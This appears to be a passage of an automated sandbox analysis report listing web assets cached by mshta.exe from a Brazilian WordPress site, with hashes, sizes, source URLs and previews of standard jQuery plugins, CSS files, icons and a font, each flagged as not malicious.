SSDEEP:	1536:7csOF0XSMqEk3nRw9o5cfQPfu5+6Vo5aUuyEwVUEn6:7f4dfPfu51W53EWR6
MD5:	8FBB3319230D3C08397B7BDA5BCB1DC2
SHA1:	E7C9CBBFA4EC48771C03878949AD0A4128BABF62
SHA-256:	493DB6D1EC51719B44E204D0594B5BCBDC81CE173A64D3E90513A468CECBD383
SHA-512:	0BEA93F519BD1D9C10D41A8345807CBCE0D5C8C0FCF98D4B325EA00587474E05138C279469AECB0A3D0054A2941E380E6EC5839D7A6230697CD23F6DFC0718D0
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Preview:	/. jPlayer Plugin for jQuery JavaScript Library. * http://www.jplayer.org. . Copyright (c) 2009 - 2014 Happyworm Ltd. * Licensed under the MIT license.. * http://opensource.org/licenses/MIT. . Author: Mark J Panaghiston. * Version: 2.6.0. * Date: 2nd April 2014. */..(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a\|\|.{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.options,a);var d=this;this.element.bind("remove.jPlayer",

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\jquery.magnific-popup.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	20669
Entropy (8bit):	5.2808077876911295
Encrypted:	false
SSDEEP:	384:3ORjoixwByWeRZELR0oXnl0HFuG/76GIPGQHv5clO9sdG:3CZHEf6FuG/0um5cAQG
MD5:	588A4C7A711E01405E02B4E2F8E1B2D6
SHA1:	263D200778CB34026816AE5A7718C5AE4F6AEC49
SHA-256:	C9E8F0F8A438833EF971B7482991C681FFB7FB5BFF9B16CEADB22AD7C174A29E
SHA-512:	86DBD71D944B3F03F20A62E57E1CFA202D306E97102C6EB2EADE78D672E43227B1C6508B799AD88FB0D3516664CF4726D3E9C1119D5A05381B48A3912E34E688
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Preview:	/! Magnific Popup - v0.9.3 - 2013-07-16. http://dimsemenov.com/plugins/magnific-popup/.* Copyright (c) 2013 Dmitry Semenov; */.(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn\|\|(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.currTemplate.closeBtn},P=function(){e.magnificPopup.instan

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\jquery.mobile.customized.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	17219
Entropy (8bit):	5.3136571369702965
Encrypted:	false
SSDEEP:	384:9Cda0BL3liEPys8C5w+J1HAZ3vePKL3VYb2:YDdys8CuYKZ3vePKL3Wi
MD5:	F937C24AEE1A092CB9A337391ACFA645
SHA1:	22B537591377B42445B6383F54F6C05D4EBFE39A
SHA-256:	B5CF71E5EBD435D68E269558177FD4F444F36B0E8C18F7299F1590E0EE12B146
SHA-512:	9F2BE4FD1D3D2CBD2B8E7E4028F540C6CE0FD5889F4CD5BD2DB06076239E400CC07E0DB88319E9C3AAD8973E70CACAC5F69247DC7E09B777ECBF67C3F26FE059
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Preview:	window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b\|\|a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]\|\|{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix\|\|b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=function(c,d){a.fn[c]=function(e){var f=typeof e==="str

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\jquery.zaccordion.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	10762
Entropy (8bit):	5.077152335060303
Encrypted:	false
SSDEEP:	192:UJrUdgSDnkqTJT3De0no2zDEJEBk/UdjwUSPh/im9X:UJvSDnTJTa0nocEJrUdjwUSJ/im9X
MD5:	83587A80FA209ADBA2AE7D9C7D817790
SHA1:	0AD068CE6FB22A723676D786D0F5AA8922E34814
SHA-256:	3454594300968DF56A52E0EF020632006412FB99ABEF27D917E21A715C586225
SHA-512:	527C20333ED686C4382B5D2651AA94B202A8E180BCC36954B0395DBB0E5AD4E285882049BE2C9BF245522490AF012E98DE0931E3CFB24F7147F3811CE2DFE440
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Preview:	(function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{return"px"}}}},toInteger:function(f){if(f!==null){return pa

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\logo-slider-wp-public[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5372
Entropy (8bit):	4.984476165106454
Encrypted:	false
SSDEEP:	96:AJKII0S0eTHhUELNZQety9Q2dJie/JTwJTG/JiGS61iL0:iQQBSw
MD5:	3A2087F6BBC2271D1A7484512C92A4BB
SHA1:	B15329AD5E236432E2B7972242E3DDC0E93BE73A
SHA-256:	D836BDB6405A34D357393B88B95298C535A088D8DF6F84805B8290182CD7EF13
SHA-512:	9FCDEBC1712A9666A9CC7DD7BB505B6B4369224653C542854FECEBD073C83A9C228F80A9D5A3B61BE9836DFFF2692DBEF9DE949542CEF6251ED74E2589374612
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0
Preview:	/*. All of the CSS for your public-facing functionality should be. * included in this file.. /..lgx-logo-slider-wp .owl-stage {. display: flex;. align-items: center;.}...lgx-logo-slider-wp .lgx-logo-wrapper {. padding: 25px 0;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav {. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-next,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-prev {. margin: 1px;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav [class=owl-] {. background: transparent;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-next img,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-prev img {. width: 30px;.}..lgx-logo-slider-wp .wp-logo-border .lgx-logo-item {. border-style: solid;. border-width: 2px;.}..lgx-logo-slider-wp .lgx-logo-item {. cursor: pointer;. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-item .logo-com

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\logo-slider-wp-public[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3006
Entropy (8bit):	4.209501226216895
Encrypted:	false
SSDEEP:	48:N10K1DK3whocmVMBCu2m+JI/QNAIslqw+Pw6z:NSqDK3sN+JWkF/H
MD5:	7B766A62E26ADB736A822B315A891025
SHA1:	A2580B9177A2CA0ACB345FE440414DE7DF2A5E26
SHA-256:	65CA4BF164BFD1056D4AF9E83F40FB8B4D51840485D9A09021468BB3F5AAAC76
SHA-512:	8FE2938731EBB108F8797DA1D46CEB7E353131D770633FB9AF4E36BE48D19B912742028E86B0D7AF5587A19A328AD0E6C2945B550E2C347482375A1C10CE88A6
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0
Preview:	(function() {.. 'use strict';.... /*.. All of the code for your public-facing JavaScript source.. * should reside in this file... .. Note: It has been assumed you will write jQuery code here, so the.. * $ function reference has been prepared for usage within the scope.. * of this function... .. This enables you to define handlers, for when the DOM is ready:.. .. $(function() {... ... });.. .. When the window is loaded:.. .. $( window ).load(function() {... ... });.. .. ...and/or other possibilities... .. Ideally, it is not considered best practise to attach more than a.. * single DOM-ready or window-load handler for a particular page... * Although scripts in the WordPress core, Plugins and Themes may be.. * practising this, we should strive to set a better example in our own work... */...... jQuery(document).ready(function($) {.... $('.lgx-logo-carousel'

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\owl.carousel[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5924
Entropy (8bit):	5.072069034552564
Encrypted:	false
SSDEEP:	48:A/ZGnrZNGkS5fS0sGukCMiVG9/WDLqI+TlZ7kKXQmMfdScuFeUK7rqW9dvgOGH6o:oZ0ZQolYC1+kp+5Z7kKXQmGoeUK7+P
MD5:	2737F7BF6C359378B907AE244C7C41C3
SHA1:	14C848EA1F424CD82CBF1F732BBEB0D50F06169F
SHA-256:	2EDF2AA5AAA3ABEDE8968ECCFE9871849205188186D1AE62F14AB3FF4BB8EF6C
SHA-512:	994CBEE171BF10EA517579819D6F82C446F10ADFF9DB72EB78771560DC8DB855799D1B9B4E6360EA4E2010965569F46BB371B1E75398FDF5510D2BCC8FC1BC60
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24
Preview:	/* . * .Core Owl Carousel CSS File. .v1.24. /../* clearfix /..owl-carousel .owl-wrapper:after {..content: ".";..display: block;..clear: both;..visibility: hidden;..line-height: 0;..height: 0;.}./ display none until init */..owl-carousel{..display: none;..position: relative;..width: 100%;..-ms-touch-action: pan-y;.}..owl-carousel .owl-wrapper{..display: none;..position: relative;..-webkit-transform: translate3d(0px, 0px, 0px);.}..owl-carousel .owl-wrapper-outer{..overflow: hidden;..position: relative;..width: 100%;.}..owl-carousel .owl-wrapper-outer.autoHeight{..-webkit-transition: height 500ms ease-in-out;..-moz-transition: height 500ms ease-in-out;..-ms-transition: height 500ms ease-in-out;..-o-transition: height 500ms ease-in-out;..transition: height 500ms ease-in-out;.}....owl-carousel .owl-item{..float: left;.}..owl-controls .owl-page,..owl-controls .owl-buttons div{..cursor: pointer;.}..owl-controls {..-webkit-user-select: none;..-khtml-user-select: none;..-moz-user-select: no

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\pt-br[1].png

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	687
Entropy (8bit):	7.458759901857417
Encrypted:	false
SSDEEP:	12:6v/7m/6T/MxuT6GaUz0uUVijlYa3uTr/xgJawYZnWGLJfcqREdlec:b/67tZaV+YwuPBw0RLrqd8c
MD5:	363DA7C647BE7AEFCF5505F4F89DC205
SHA1:	469D6084D160034D024AF67B4D61C0EDE98CFBA6
SHA-256:	F66C95E006D101DADB1678A583A35F52FBD20C7EB0CB05FF485019DBD0CE1D02
SHA-512:	31551E0ED608813FCA4955BB3ECF3311BF096585FAF0BBF8FA04FEDFCAA54D85B1555D314C074645221417B865AF08C1D86F08670454DF12828A1C4DED220209
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Preview:	.PNG........IHDR................a....pHYs................ cHRM..z%..............u0...`..:....o._.F...5IDATx..KHTa......s.q.F.il$E.I....iSd..,.ePF;w.....hW......&..%..............F.6...xx.x_!.d'#.Z.~}og,.........V%`:. .(.B.K.......:....-..$.#.(B.&.D......T!.....v..2.."....X..<M.....g...&..Nsh...v..U.0m.B.B....tt...=....UIwW.....j..$.#UL..@.(.&.p...tE.H.b...X..J...O.;...1.w}.a. ..[.-.E..S4...U.?2:...ti.z....G)Lu%Cg....9.-.I...dA.r"..\|#...udp..J._f~1.\|....h.2.s...1.Ym.i...5....j.+W.ez&..d...'.~.d.S.&.7...Zcu.`..^.K...lgd>..1n]H....-..b$2!\|5U\|.M.0.8.,t$...k..r...F.u..qy0.B.V..9....6.hI.e%..#e.`pF.@Ws.!1..g...(..f......"...8.%vZ........>)......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\sbi-styles.min[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	16845
Entropy (8bit):	4.927428585989144
Encrypted:	false
SSDEEP:	192:7MFuCes2ba6PZqwJPWeitF0faGG27acPpqiJXWYi1F+f8imVjFuXQT3XerQCTQW+:qFJXerQCFPKT/ob0JMSP
MD5:	02BACBAD1E26F0B3D1772D4CF5A047DC
SHA1:	89292741D360F7EB3319437CD32A80EA7B388941
SHA-256:	DF15236D4098113E3479FC540A9BD1046CA6029F5508098E9C4245A0E12FAB05
SHA-512:	4F2F5BD7AA47FAD34B3337ADA2F0C5411702A7046E6A65FDA97BB4E13EFFC05C30261C7EF27BECB4F5F0AC4E98F234B6EC81C900AAD7C12FD9D6FED844BB8A6D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Preview:	#sb_instagram{width:100%;margin:0 auto;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram:after{content:"";display:table;clear:both}#sb_instagram.sbi_fixed_height{overflow:hidden;overflow-y:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram #sbi_images{width:100%;float:left;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram .sbi_header_link{-webkit-box-shadow:none;box-shadow:none}#sb_instagram .sbi_header_link:hover{border:none}#sb_instagram #sbi_images .sbi_item{display:-moz-inline-stack;display:inline-block;float:left;vertical-align:top;zoom:1;max-height:1000px;padding:inherit!important;margin:0!important;text-decoration:none;opacity:1;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;-ms-transition:a

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\swfobject[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	10231
Entropy (8bit):	5.498827185914172
Encrypted:	false
SSDEEP:	192:dEBsWGAZvwGxP1hNWwI9V0YOOsFbkRHeZtyIVyX8c727LMoOyXoy7NgvZ4xsnyQ/:dAsWGAZvwGxP1hNWwI9V0YO1NkRHezyV
MD5:	9FFDBA2CFF497D701684657E329871F5
SHA1:	693465E9D9376FD4D2FCD45FFC24F735E1159312
SHA-256:	5FC71212D5F80194F946CC9239D030AAE8B51879EC22BD6F9A793C49E543D1C0
SHA-512:	5DA070D4040661BD167EF22C6F81C7DC6A9ED79F9CC6C662750B9EB3B1F2048E8D782536996EA7C54E961CD514313314EBFA724409CD2F0440D884288C9ECFFA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Preview:	/.SWFObject v2.2 <http://code.google.com/p/swfobject/> ..is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> ./.var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.webkit\/(\d+(\.\d+)?).$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=par

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\theme[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	87745
Entropy (8bit):	5.5982827947800144
Encrypted:	false
SSDEEP:	1536:BC7O2E2CzZOUWqTNWm3GJUWXTOhYijX6MAuKT+0/W2sqDYyUliBf21R+ab+gLSnr:q9j+K
MD5:	BB3B682DA2B43CE2AB6127EC0BB2F84E
SHA1:	B7734D0819DA9A80E1483A36357D06EB24332C25
SHA-256:	19BBB78D70DD6EE89FF91E26A422ADB69510E8FF83ACE800AD7E5D0F35F14509
SHA-512:	81E0791DFF8996258C773DAC76EECC3C3B40658B16F7A57E224139A0B65E7EDDFA5D5DF64DE010034823BF642270C968FDB3FE38D99FF7BAB1C19ED1751DF5E3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8
Preview:	.motopress-text-obj span{line-height:1em}.motopress-image-obj .motopress-image-obj-basic{max-width:100% !important;margin:0 !important;padding:0 !important;border:0}.motopress-image-slider-obj{line-height:normal;min-height:0}.motopress-image-slider-obj *{line-height:normal}.motopress-image-slider-obj .slides{list-style:none outside none;margin:0 !important;padding:0;line-height:normal}.motopress-image-slider-obj .slides li{margin:0;margin-left:0 !important;padding:0}.motopress-image-slider-obj .slides li:before,.motopress-image-slider-obj .slides li:after{content:none !important}.motopress-image-slider-obj .slides li img{margin:0;padding:0;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;border:0}.motopress-image-slider-obj .flex-control-nav{position:absolute !important;list-style:none outside none !important;margin:0 !important;padding:0 !important;line-height:normal;right:auto !important;bottom:-40px !important;text-align:center !important;z-index:auto !important}.motopre

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\tmstickup[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2506
Entropy (8bit):	4.979495337243772
Encrypted:	false
SSDEEP:	48:LXyO+4lW7dPr2StXZU/X2cQmoWUTp9XlUgpd2HuUBHrX:LXFLlWPXZKGrmwTO8quUtL
MD5:	D75AE5B4F9859E20DABD5BA0E6959625
SHA1:	B72540421BD54F42D92734D0A53D46273839811D
SHA-256:	294E2CE69040E1C6B4574E88881619342EDA4D098C187E56317288CE7B0E6168
SHA-512:	AA5239F962F9756781FE1907F3A7CE7A6FC4E92ED3D862B02460E69ADCDDE3DB98D82D6B3084BF096F32C966D258F561B81345620151A466B7BBC5B1EE982DBD
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Preview:	(function($){..$.fn.tmStickUp=function(options){....var getOptions = {....correctionSelector: $('.correctionSelector')...,.listenSelector: $('.listenSelector')...,.active: false...,.pseudo: true...}...$.extend(getOptions, options);....var...._this = $(this)...,._window = $(window)...,._document = $(document)...,.thisOffsetTop = 0...,.thisOuterHeight = 0...,.thisMarginTop = 0...,.thisPaddingTop = 0...,.documentScroll = 0...,.pseudoBlock...,.lastScrollValue = 0...,.scrollDir = ''...,.tmpScrolled...;....if (_this.length != 0) {....init();...}....function init(){....thisOffsetTop = parseInt(_this.offset().top);....thisMarginTop = parseInt(_this.css("margin-top"));....thisOuterHeight = parseInt(_this.outerHeight(true));.....if(getOptions.pseudo){.....$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);.....pseudoBlock = $('.pseudoStickyBlock');.....pseudoBlock.css({"position":"relative", "display":"block"});....}.....if(getOptions.active){.....addEventsFunction();....}...}//end in

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\up-arrow[1].png

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	PNG image data, 31 x 19, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1370
Entropy (8bit):	6.548363017537382
Encrypted:	false
SSDEEP:	24:ka1he91WwylZ82lYSqMHiwe76ceVc7cxT3ouyJ3V8BGy0QcJLJgSApYg1:zqQinNuiF61q7uIJ30D07JVgtpYi
MD5:	DF0D428C42D964F07B5C2875B85AB1EC
SHA1:	42ACD8E7E0919A99D42F09A62CD0B5FC0CE59B43
SHA-256:	E50B8D2007404AA7FC5484E29160C652C61433EC2732C37B9FEAF0ECC60E45A0
SHA-512:	A973C4169AD4C9C74F392821E64C5FFB17A7A44FE0517B836409CB8C79EB9D296F6E9B6C420C66227D6E11C7211E327D370A4E9447E47D448B4947551AB6610B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
Preview:	.PNG........IHDR.............hl.B....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf:RDF> </x:x

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\wp-embed.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1391
Entropy (8bit):	5.13936657531626
Encrypted:	false
SSDEEP:	24:XUdqIoZ2zsben5WlLysyIOKI1mQqRhoj3v2rFEgRuLUMB9/RUCXXmC3+:XUyEsyKystOKumTsOrFEmu7Bl6CX2Q+
MD5:	570AE0F3C201604926EA599D3D1F6C04
SHA1:	2C29243A73660964D4712B969D2A15E27777BC14
SHA-256:	5138D39633DC69FCD0ED7F33A5E38DC339123F682FA7F5242066879C2BBC8C9B
SHA-512:	44583F156E95AA16D20ED8DB8421001D9B7257B56B4FFF1E0378760406B4D6EB2B1315D28AD4F3F489A7733814B2FB2DDDF8F28004DAAEEE8D9BF4EA22A2742E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Preview:	!function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp\|\|{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret\|\|t.message\|\|t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var e,t,r=-1!==navigator.appV

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\S6u8w4BMUTPHh30AXC-u[1].eot

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Hairline family
Category:	downloaded
Size (bytes):	21906
Entropy (8bit):	7.967838538437944
Encrypted:	false
SSDEEP:	384:VFJHGuN6qSpebL2RIS+Xv4nRE0661wyGSD37OhAVT/VJqVL89X:VFTEqFbCOS+/cz1wyRD3+u/zqd8d
MD5:	AC3C05998D9A3A94292ADB42CA4402D0
SHA1:	F15C88C7820DACCFA39D9007E7BF98652D2DAA2C
SHA-256:	C27571B00544786FF1223F04E4254433CECB80A49DDC1605968FB8ED0FB2E46B
SHA-512:	30F0F74DB92E2D943D8994E6ED8E9E54CA47861AFCBC612D0002E4C97C0FF83E395FC258DC4C649283F9F8EF49A167A29BB4AC3840D0D7E072C4CCCF408119A3
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Preview:	.U...T............................LP'...J.............. ....@..y....................L.a.t.o. .H.a.i.r.l.i.n.e.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.H.a.i.r.l.i.n.e.....BSGP...................`.=..>..50....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..;".I^...s..N......!.....-..m."....Yb..qrS.a..N..B....~......m..X._.^.V.".2...3Q..qM.nl....U.7..M.D..j..9..C..]..X...L'.s..:...[.b....x>...6.5}_.;.......v...s.`.......E....&.nV..M.(iy..Mi1...(q...........s..L.H.'y..O..CL..y......S...E.#@.l..............X.....A....0".Ju./..#.......]....5o8I..\|.A...$...Q.qmE.m.q..@.Y...x..J4.$$.. 